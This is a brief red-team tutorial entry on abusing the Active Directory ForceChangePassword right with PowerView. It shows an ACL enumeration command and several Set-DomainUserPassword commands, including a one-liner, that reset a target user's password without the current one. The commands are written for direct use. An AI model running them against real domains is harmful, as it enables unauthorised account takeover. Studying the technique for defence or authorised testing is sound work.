ForceChangePassword

If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Doing the same with powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Another method that does not require fiddling with password-secure-string conversion:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...or a one liner if no interactive session is not available:

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose